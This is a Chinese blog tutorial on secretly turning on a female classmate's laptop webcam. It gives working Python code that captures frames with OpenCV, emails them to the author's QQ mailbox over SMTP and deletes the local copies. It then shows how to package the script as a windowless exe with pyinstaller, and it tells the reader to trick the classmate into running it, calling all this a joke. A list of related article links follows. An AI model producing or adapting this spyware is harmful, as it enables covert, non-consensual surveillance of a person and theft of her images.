用python開啟女同學的電腦攝像頭,並把影像傳回qq郵箱
前言:
如何悄悄的開啟朋友的攝像頭,看看她最近過的怎麼樣,嘿嘿!這次讓我帶你們來實現這個功能。
注: 這個程式僅限在朋友之間開玩笑,別去搞什麼違法的事情哦。
程式碼
傳送郵件
使用python內建的email模組即可完成。匯入相應的程式碼封裝為一個send函式,順便匯入需要匯入的包
注: 下面的程式碼有三處要修改的地方,兩處寫的qq郵箱地址,還有一處寫的qq郵箱授權碼,不知道qq郵箱授權碼的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
sender = '寫你的qq郵箱地址'
receivers = '寫你的qq郵箱地址'
message = MIMEMultipart('related')
subject = '終於能發圖片了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
file = open(img, "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, '寫授權碼')
server.sendmail(sender, receivers, message.as_string())
server.quit()
except smtplib.SMTPException as e:
print(e)
開啟攝像頭併傳送圖片
我們使用opencv開啟筆記本內建的攝像頭,不多說上程式碼
cap = cv2.VideoCapture(0)
for item in range(10):
cat, frame = cap.read()
cv2.imwrite('1.png', frame)
send('1.png')
os.remove('1.png')
使用pyinstaller將程式打包
好不容易寫好了程式碼,結果同學那裡沒有執行環境豈不是很沮喪。那我們就嘿嘿嘿。 把它直接搞成一個exe檔案,照片還不是手到擒來。
我們使用pyinstaller來打包,沒有下載的可以先pip安裝
pip install pyinstaller -i https://pypi.douban.com/simple --user
之後我們開啟cmd,cd到你的程式碼所在的檔案,輸入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的檔名。
然後等一會,等執行完了之後你就會發現在你的程式碼所在的資料夾裡多了一個dist的資料夾,exe檔案就在那裡。
下面就是最關鍵的一步了!
忽悠同學
找個同學忽悠她一下
如果感覺有趣的話就隨手點個贊吧
相關文章
- win10如何開啟電腦攝像頭錄影_win10用電腦自帶攝像頭錄影的方法Win10
- 膝上型電腦攝像頭怎麼開啟 筆記本攝像頭設定在哪裡筆記
- WIN10膝上型電腦攝像頭的開啟步驟_筆記本win10攝像頭怎麼開啟Win10筆記
- 電子郵箱是qq郵箱嗎 電子郵箱和qq郵箱的區別聯絡介紹
- android 開啟攝像頭Android
- golang傳送郵件(qq郵箱)Golang
- WebRTC開啟本地攝像頭Web
- python實現開啟筆記本攝像頭Python筆記
- WebRTC網頁開啟攝像頭並錄製視訊Web網頁
- iOS應用自動撥打電話,開啟攝像頭缺陷iOS
- windows10攝像頭怎麼開啟_window10怎麼開啟攝像頭的方法Windows
- qq郵箱怎麼發檔案給別的郵箱 qq郵箱如何將文件傳送給別人
- 電腦釘釘攝像頭許可權在哪設定 電腦釘釘視訊會議攝像頭黑屏
- spring boot配置QQ郵箱傳送郵件Spring Boot
- Win10專業版攝像頭在哪裡開啟 windows10攝像頭開啟的方法Win10Windows
- Win10攝像頭如何開啟_WIN10攝像頭在哪裡Win10
- Android CameraX 開啟攝像頭預覽Android
- t440s win10攝像頭如何開啟_win10怎樣開啟攝像頭Win10
- win10郵件怎麼用qq郵箱 win10郵件如何使用qq郵箱Win10
- Nebulosity 4 for Mac(攝像頭影像捕捉工具) v4.4.4註冊啟用版Mac
- web呼叫攝像頭拍照並上傳到伺服器Web伺服器
- 筆記本攝像頭怎麼開啟 筆記本設定攝像頭教程筆記
- win10攝像頭開啟是黑的怎麼辦_win10攝像頭開啟黑屏如何修復Win10
- [python應用案例] 一.BeautifulSoup爬取天氣資訊併傳送至QQ郵箱Python
- 搭建一個攝像頭應用程式 應用程式內部攝像頭
- 如何使用PYTHON操作攝像頭Python
- JavaMail:java使用QQ郵箱傳送郵件簡單版。JavaAI
- Nebulosity 4 for Mac(攝像頭影像捕獲工具)Mac
- win10相機為什麼打不開攝像頭黑屏 win10攝像頭開啟黑屏Win10
- MacBook如何開啟微信攝像頭的許可權?Mac
- win10 email配置qq郵箱如何操作_win10郵箱怎麼新增qq郵箱Win10AI
- win10自帶郵件怎麼新增qq郵箱_win10郵箱如何匯入qq郵箱Win10
- 教你如何利用python呼叫攝像頭Python
- Android呼叫攝像頭拍照並顯示照片Android
- Win10攝像頭黑屏是怎麼回事_Win10攝像頭開啟黑屏如何解決Win10
- win10膝上型電腦攝像頭顯示斜槓怎麼回事 win10攝像頭開啟一直出現斜槓如何處理Win10
- 新版Chrome http訪問無法開啟攝像頭ChromeHTTP
- win10 qq郵箱pop怎麼設定 win10如何開啟郵箱pop服務Win10